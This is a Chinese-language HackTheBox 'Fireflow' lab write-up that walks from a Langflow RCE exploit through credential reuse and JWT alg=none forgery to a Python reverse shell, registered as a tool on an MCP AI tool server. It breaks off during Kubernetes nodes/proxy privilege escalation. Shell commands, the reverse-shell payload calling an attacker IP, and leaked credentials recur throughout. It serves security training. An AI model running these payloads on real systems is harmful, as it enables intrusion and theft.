(HTB)0X6-Fireflow

看了很多blog都有fscan我都下個試試: fscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
(base) PS E:\ctf tools> .\fscan-nolocal_2.2.2_windows_x64.exe -h 10.129.244.214
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z)

[*] 服务插件: ftp, findnet, rabbitmq, elasticsearch, smtp ... 等36个
[*] 参数自适应: Timeout=1132ms, ModuleThread=5, Retry=6, ICMPRate=0.05, PocNum=5
[*] 10.129.244.214:22 ssh [Product:OpenSSH ||Version:9.6p1 Ubuntu 3ubuntu13.16] Banner:(SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16)
[*] 端口开放 10.129.244.214:443 [http](HTTP探测)
[*] https://10.129.244.214 ssl Banner:(Q M dl 9 v bscj d y8 DOWNGRD 1: 6 M a k$ = & Ag / 0 0 x y' wm 6 29 I (s0 * H 0C1...)
[*] POC加载完成: 总共487个,成功487个,失败0个
[+] https://10.129.244.214 code:301 len:162 title:301 Moved Permanently server:nginx [nginx]
端口扫描中(22线程) ● 100.0% [==============================] (133/133) 9/s TCP:17/137
[完成] 扫描完成: 133/133 (耗时: 14.0s)
[*] 扫描完成,发现 2 个开放端口
[*] 收到退出信号,正在关闭...

(base) PS E:\ctf tools> curl.exe -k -I https://10.129.244.214
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sun, 04 Oct 2026 11:37:14 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://fireflow.htb/

(base) PS E:\ctf tools> nmap 10.129.244.214
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 19:26 +0800
Nmap scan report for 10.129.244.214
Host is up (0.45s latency).
Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
9100/tcp filtered jetdirect
30000/tcp filtered ndmps
30718/tcp filtered unknown
30951/tcp filtered unknown
31038/tcp filtered unknown
31337/tcp filtered Elite

Nmap done: 1 IP address (1 host up) scanned in 10.54 seconds

子域名加一個flow :

截图

可以看見是langflow 查查langflow的CVE :

Langflow prior to 1.9.0

CVE-2026-33017

Langflow OSS 1.0.0 至 1.10.0 版本

CVE-2026-9198

問了問ai

b745f6ec-1b1c-40f4-b889-28ede114d240.png 截图

可以知道version: 1.8.2

可以使用CVE-2026-33017 , 在使用前先了解一下CVE-2026-33017

攻擊者可以將包含惡意Python程式碼的自訂元件嵌入到精心建構的data物件中,伺服器會像處理正常流程一樣處理該元件。這樣一來,注入的程式碼就可以在建置或執行過程中被解析和執行,最終導致遠端程式碼執行。

流程:

  1. 確定公共流 ID 攻擊者首先識別flow_id目標的公共流。 https://flow.fireflow.htb/flow/00000000……..
  2. 發送包含惡意自訂元件的建置請求 POST 一下/api/v1/build_public_tmp/…….01/flow?event_delivery=direct&log_builds=false 送一個精心構造的data
  3. 獲得shell

看看poc可不可以一把過:

1
python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.17.141 --lport 4455

好像不太行: 這是要停用 TLS 憑證驗證

1
2
3
[*] Target: https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&log_builds=false
[*] Callback: 10.10.17.141:4455
[*] Request returned no response (expected if shell connected): HTTPSConnectionPool(host='flow.fireflow.htb', port=443): Max retries exceeded with url: /api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow?event_delivery=direct&log_builds=false (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate (_ssl.c:1032)')))

看了看github上有人改了:

e9f68e45-ae75-49f9-b851-73b6fc197a3e.png

用YouLiud的版本是可以的 : 加上–insecure

1
python exploit.py --url https://flow.fireflow.htb/ --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.17.141 --lport 4455 --insecure

User Flag

用一下linpeas刷刷: 轉發一下wsl 在powershell有點不好看(

1
2
3
4
python -m http.server 80
wget http://10.10.17.141/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

找到了user with console:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
╔══════════╣ Users with console (T1087.001)
nightfall:x:1000:1000::/home/nightfall:/bin/bash
root:x:0:0:root:/root:/bin/bash

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r----- 1 root www-data 337 May 7 23:30 /etc/langflow/.env
LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_LOG_LEVEL=warning
LANGFLOW_NEW_USER_IS_ACTIVE=False
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb

試試ssh :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@fireflow:~$ script /dev/null -c /bin/bash
script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
www-data@fireflow:~$ ssh nightfall@10.129.139.44
ssh nightfall@10.129.139.44
The authenticity of host '10.129.139.44 (10.129.139.44)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
nightfall@10.129.139.44's password: n1ghtm4r3_b4_n1ghtf4ll

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

拿下flag

Lateral Movement

有cap用:

1
2
3
4
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep

/usr/lib/snapd/snap-confine cap_setuid 可以用 : 本來參考Snapped的WP發現不可行

1
2
3
4
5
6
7
8
9
snap version
nightfall@fireflow:~$ snap version
snap version
snap 2.74.1+ubuntu24.04.4
snapd 2.74.1+ubuntu24.04.4
series 16
ubuntu 24.04
kernel 6.8.0-111-generic
architecture amd64

看看有沒有CVE : 搜搜 upprivilege snap-confine “2.74.1”

8a04ed94-2f55-485f-bab9-455bf8d2f87d.png

CVE-2026-3888

b1773e77-3549-4807-8602-657fbf862028.png

漏洞出现的原因在于 snap-confine 与 systemd-tmpfiles 这两个系统组件之间的交互缺陷

systemd-tmpfiles 会以 root 身份每天运行一次,会自动清理 /tmp 中超过时间阈值的旧文件和目录,具体的时间在配置文件中可以看到时间设置是30d , 根本不可能要讓我等30d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nightfall@fireflow:~$ at /usr/lib/tmpfiles.d/tmp.conf
at /usr/lib/tmpfiles.d/tmp.conf
Command 'at' not found, but can be installed with:
apt install at
Please ask your administrator.
nightfall@fireflow:~$ cat /usr/lib/tmpfiles.d/tmp.conf
cat /usr/lib/tmpfiles.d/tmp.conf
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.

# See tmpfiles.d(5) for details

# Clear tmp directories separately, to make them easier to override
D /tmp 1777 root root 30d
#q /var/tmp 1777 root root 30d

在本地發現了.mcp 的 config 上面有server 的端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nightfall@fireflow:~$ ls -la
ls -la
total 36
drwxr-x--- 5 nightfall nightfall 4096 Oct 8 15:43 .
drwxr-xr-x 3 root root 4096 May 12 15:28 ..
lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3771 Mar 31 2024 .bashrc
drwx------ 2 nightfall nightfall 4096 May 12 15:28 .cache
drwxrwxr-x 3 nightfall nightfall 4096 May 12 15:28 .local
drwx------ 2 nightfall nightfall 4096 Oct 8 00:54 .mcp
-rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile
-rw-r----- 1 root nightfall 33 Oct 8 00:55 user.txt
nightfall@fireflow:~$ cd .mcp
cd .mcp
nightfall@fireflow:~/.mcp$ ls -la
ls -la
total 12
drwx------ 2 nightfall nightfall 4096 Oct 8 00:54 .
drwxr-x--- 5 nightfall nightfall 4096 Oct 8 15:43 ..
-rw------- 1 nightfall nightfall 146 Oct 8 00:54 config.json
nightfall@fireflow:~/.mcp$ cat config.json
cat config.json
{
"server": "http://10.129.139.44:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}

有接口可以用curl看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nightfall@fireflow:~/.mcp$ curl http://10.129.139.44:30080/api/v1/version
curl http://10.129.139.44:30080/api/v1/version
{"service":"MCP AI Tool Registry",
"version":"0.1.0",
"auth":{"type":"JWT",
"header":"Authorization: Bearer <token>",
"supported_algorithms":["HS256","none"]
},
"docs":"/docs",
"endpoints":[
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]

}

/auth 是用來發放jwt的 用POST 發 application/json 的 username 和 password就可:

1
2
3
4
5
6
nightfall@fireflow:~/.mcp$  curl http://10.129.139.44:30080/api/v1/auth -X POST -d '{"user":"langflow-bot","password":"Langfl0w@mcp2026!"}' -H "Content-Type: application/json"
{"detail":[{"type":"missing","loc":["body","username"],"msg":"Field required","input":{"user":"langflow-bot","password":"Langfl0w@mcp2026!"}}]}

nightfall@fireflow:~/.mcp$ curl http://10.129.139.44:30080/api/v1/auth -X POST -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}' -H "Content-Type: application/json"
<l0w@mcp2026!"}' -H "Content-Type: application/json"
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps","token_type":"bearer"}

因為是HS256 , NULL 可以在JWT IO 看看可能是空簽名偽造 :

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps

Authorization: Bearer get 一下tools :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nightfall@fireflow:~/.mcp$ curl http://10.129.140.140:30080/api/v1/tools
curl http://10.129.140.140:30080/api/v1/tools
[{
"name":"ping_host",
"description":"Ping a target host 3 times and return ICMP output."
},
{
"name":"get_metrics_summary",
"description":"Return a summary of system memory and load average from /proc."
},
{
"name":"list_running_tasks",
"description":"List the top 20 running processes sorted by CPU usage."

}]

如果要post 就要用admin , 先把jwt提權到admin

~~先用rockyou看看能不能爆出secret可惜不太行 ~~, 只能試試零签名伪造攻击

用一用jwt_tool來修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps"  -T
alg 改成none user 改成 admin
Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of alg is: HS256
Please enter new value and hit ENTER
> none
[1] alg = "none"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] sub = "langflow-bot"
[2] role = "user"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = "langflow-bot"
[2] role = "admin"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_b08ab90d2eeaf22d8febbe98f31b1cc7 - Tampered token:
[+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps

還要把Signature刪掉:

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.

構造一下post /tools :

1
2
curl http://10.129.140.140:30080/api/v1/tools -X POST -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ. "  -H "Content-Type: application/json"  -d "{}"
{"detail":[{"type":"missing","loc":["body","name"],"msg":"Field required","input":{}},{"type":"missing","loc":["body","description"],"msg":"Field required","input":{}},{"type":"missing","loc":["body","code"],"msg":"Field required","input":{}}]}

jwt 可以了 , 再看看其他文件docs mcp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"detail": [
{
"type": "missing",
"loc": ["body", "name"],
"msg": "Field required",
"input": {}
},
{
"type": "missing",
"loc": ["body", "description"],
"msg": "Field required",
"input": {}
},
{
"type": "missing",
"loc": ["body", "code"],
"msg": "Field required",
"input": {}
}
]
}

就是要三個參數name description code , 問題是我不知道環境下要怎麼去入木馬……..

看到這不會了,看看官方wp :

1
2
3
4
5
{ 
"name":"ghsc-getshell",
"description":"getshell",
"code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.141\",9001))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}

哈哈在官方wp拿下了一個反彈shellcode:

1
2
3
4
import socket,os,pty\npid=os.fork()\nif pid>0:\n import
sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import
sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.141\",9001))\n[os.dup2(s.fileno(),
i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")

彈一下看看:

1
2
3
4
5
6
7
curl http://10.129.140.140:30080/api/v1/tools -X POST -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ. "  -H "Content-Type: application/json"  -d '{ 
"name":"ghsc-getshell",
"description":"getshell",
"code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\"10.10.17.141\",9001))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}'

{"status":"registered","name":"ghsc-getshell"}

然後要調用mcp: 一直回顯所以問了問x神:

6decb86f-0149-4087-b48f-cfa4e029dbdc.png

curl MCP JSON-RPC 2.0 請求格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
initialize
curl -i -X POST http://10.129.140.140:30080/mcp \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {
"name": "curl-test",
"version": "1.0.0"
}
}
}'
tools/list
curl -i -X POST http://10.129.140.140:30080/mcp \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/list",
"params": {}
}'

tools/call
curl -i -X POST http://10.129.140.140:30080/mcp \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "ghsc-getshell",
"arguments": {}
}
}'

看了看彈到了:

1
2
3
4
5
connect to [172.21.204.70] from (UNKNOWN) [172.21.192.1] 2548
$ script /dev/null -c /bin/bash
script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
mcp@mcp-server-54464cb475-29ztf:/app$

Root flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mcp@mcp-server-54464cb475-29ztf:/app$ wget http://10.10.17.141/linpeas.sh
wget http://10.10.17.141/linpeas.sh
bash: wget: command not found
mcp@mcp-server-54464cb475-29ztf:/app$ curl -O http://10.10.17.141:80/linpeas.sh
<ztf:/app$ curl -O http://10.10.17.141:80/linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to open the file linpeas.sh: Permission denied
0 1147k 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
curl: (23) client returned ERROR on write of 1334 bytes
mcp@mcp-server-54464cb475-29ztf:/app$ curl -O https://github.com/peass-ng/PEASS-ng/releases/download/20260921-d58d71fe/linpeas.sh
<S-ng/releases/download/20260921-d58d71fe/linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0curl: (6) Could not resolve host: github.com

在內部訪問不了沒招了哈哈:

看了看wp說是可以看到是Kubernetes environment , 有關K8s可以去X哥的BLOG學習學習

手動收一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mcp@mcp-server-54464cb475-29ztf:/dev$ cd ..
cd ..
mcp@mcp-server-54464cb475-29ztf:/$ env
env
KUBERNETES_SERVICE_PORT_HTTPS=443
PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625
KUBERNETES_SERVICE_PORT=443
HOSTNAME=mcp-server-54464cb475-29ztf
PYTHON_VERSION=3.11.15
PWD=/
MCP_SERVER_SERVICE_HOST=10.43.250.195
MCP_SERVER_SERVICE_PORT=8080
HOME=/home/mcp
MCP_SERVER_PORT_8080_TCP_PROTO=tcp
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
LS_COLORS=
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
MCP_SERVER_PORT_8080_TCP_PORT=8080
MCP_SERVER_PORT_8080_TCP_ADDR=10.43.250.195
SHLVL=1
MCP_SERVER_PORT=tcp://10.43.250.195:8080
KUBERNETES_PORT_443_TCP_PROTO=tcp
MCP_SERVER_SERVICE_PORT_HTTP=8080
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
MCP_SERVER_PORT_8080_TCP=tcp://10.43.250.195:8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/dev
_=/usr/bin/env

可以在目錄找到是一個K8s的其中一個pod : 現在的目的要利用ca api token … 提權 ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mcp@mcp-server-54464cb475-29ztf:/$ cd var
cd var
mcp@mcp-server-54464cb475-29ztf:/var$ cd run
cd run
mcp@mcp-server-54464cb475-29ztf:/var/run$ ls
ls
lock secrets
mcp@mcp-server-54464cb475-29ztf:/var/run$ cd secrets
cd secrets
mcp@mcp-server-54464cb475-29ztf:/var/run/secrets$ ls
ls
kubernetes.io
mcp@mcp-server-54464cb475-29ztf:/var/run/secrets$ cd kubernetes.io
cd kubernetes.io
mcp@mcp-server-54464cb475-29ztf:/var/run/secrets/kubernetes.io$ ls
ls
serviceaccount
mcp@mcp-server-54464cb475-29ztf:/var/run/secrets/kubernetes.io$ cd serviceaccount
<f:/var/run/secrets/kubernetes.io$ cd serviceaccount
<ztf:/var/run/secrets/kubernetes.io/serviceaccount$ ls
ls
ca.crt namespace token

定義一下:

1
2
3
<ztf:/var/run/secrets/kubernetes.io/serviceaccount$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
<ztf:/var/run/secrets/kubernetes.io/serviceaccount$ CA=$(cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt)
<ztf:/var/run/secrets/kubernetes.io/serviceaccount$ API=https://10.43.0.1:443

用curl來 , 加上 -k 参数https , 查詢目前 Kubernetes Token 擁有哪些 RBAC 權限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
curl -k -X POST "https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODIzMDgyMzI0LCJpYXQiOjE3OTE1NDYzMjQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiOGE3OGE1YTMtMTQ4ZC00MjlmLTliM2MtZTFjMGYzNWE0NjAxIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3OTE1NDk5MzF9LCJuYmYiOjE3OTE1NDYzMjQsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.YFN8ywvF2RVM0wbjL7Ypc2z78_F4Dk6KzTqajM-i2tVQO7R-6KTuOjcNsMyaV72gpc0Oqnp-UVGb83o6Nr_i1qyYINAyGqjJkNzfbA-UJRawjmLmG2aao0B5ruGA1Qe6xtRC9tB986emHdhVNb0I1uobmAmoUeZYd2pa-bPWP_p7MilZSzh7k5hDJUs3LxnAH8bWn969TLITE3K3JUxABT-RxVnu-QM1xxoYDsUz2syUV61-GLomvWshzYHb4oOUmngl-h6MkUeiH0sRWa67K3KRVfS7cnb1KcG9-AzRDM6GrBn9Y7YfzHxbRp0MQ2sReiEuJwMGir8lVufRhFAvlg" \
--cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt

{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "forbidden: User \"system:serviceaccount:default:mcp-sa\" cannot post path \"/apis/authorization.k8s.io/\"",
"reason": "Forbidden",
"details": {},
"code": 403
}
加上了/v1/selfsubjectrulesreviews
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "the object provided is unrecognized (must be of type SelfSubjectRulesReview): couldn't get version/kind; json parse error: unexpected end of JSON input (\u003cempty\u003e)",
"reason": "BadRequest",
"code": 400
}

curl -sS --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \
-X POST \
"$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": {
"namespace": "default"
}
}' | python3 -m json.tool

{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
},
{
"verbs": [
"get"
],
"apiGroups": [
""
],
"resources": [
"nodes/proxy"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/.well-known/openid-configuration/",
"/openid/v1/jwks",
"/openid/v1/jwks/"
]
}
],
"incomplete": false
}
}

問了問ai ,

cfea83ba-ab0a-4f1c-875c-0201e651a66b.png

Kubernetes 官方已明確指出:get nodes/proxy 並非真正的唯讀權限,可能允許在節點上的容器中執行命令。

使用 SelfSubjectAccessReview 驗證 nodes/proxy 的授權

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
curl -sk -X POST \
"$API/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectAccessReview",
"spec": {
"resourceAttributes": {
"verb": "get",
"resource": "nodes",
"subresource": "proxy",
"group": ""
}
}
}' | python3 -m json.tool


{
"kind": "SelfSubjectAccessReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"managedFields": [
{
"manager": "curl",
"operation": "Update",
"apiVersion": "authorization.k8s.io/v1",
"time": "2026-10-09T12:11:27Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:spec": {
"f:resourceAttributes": {
".": {},
"f:resource": {},
"f:subresource": {},
"f:verb": {}
}
}
}
}
]
},
"spec": {
"resourceAttributes": {
"verb": "get",
"resource": "nodes",
"subresource": "proxy"
}
},
"status": {
"allowed": true,
"reason": "RBAC: allowed by ClusterRoleBinding \"mcp-cluster-reader-binding\" of ClusterRole \"mcp-cluster-reader\" to ServiceAccount \"mcp-sa/default\""
}
}

可以 , 看了x哥的Kubernetes 安全初探可以知道可以用使用websocat调用exec :

1
2
3
4
5
6
7
8
9
# 列出所有节点
curl --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$API/api/v1/nodes

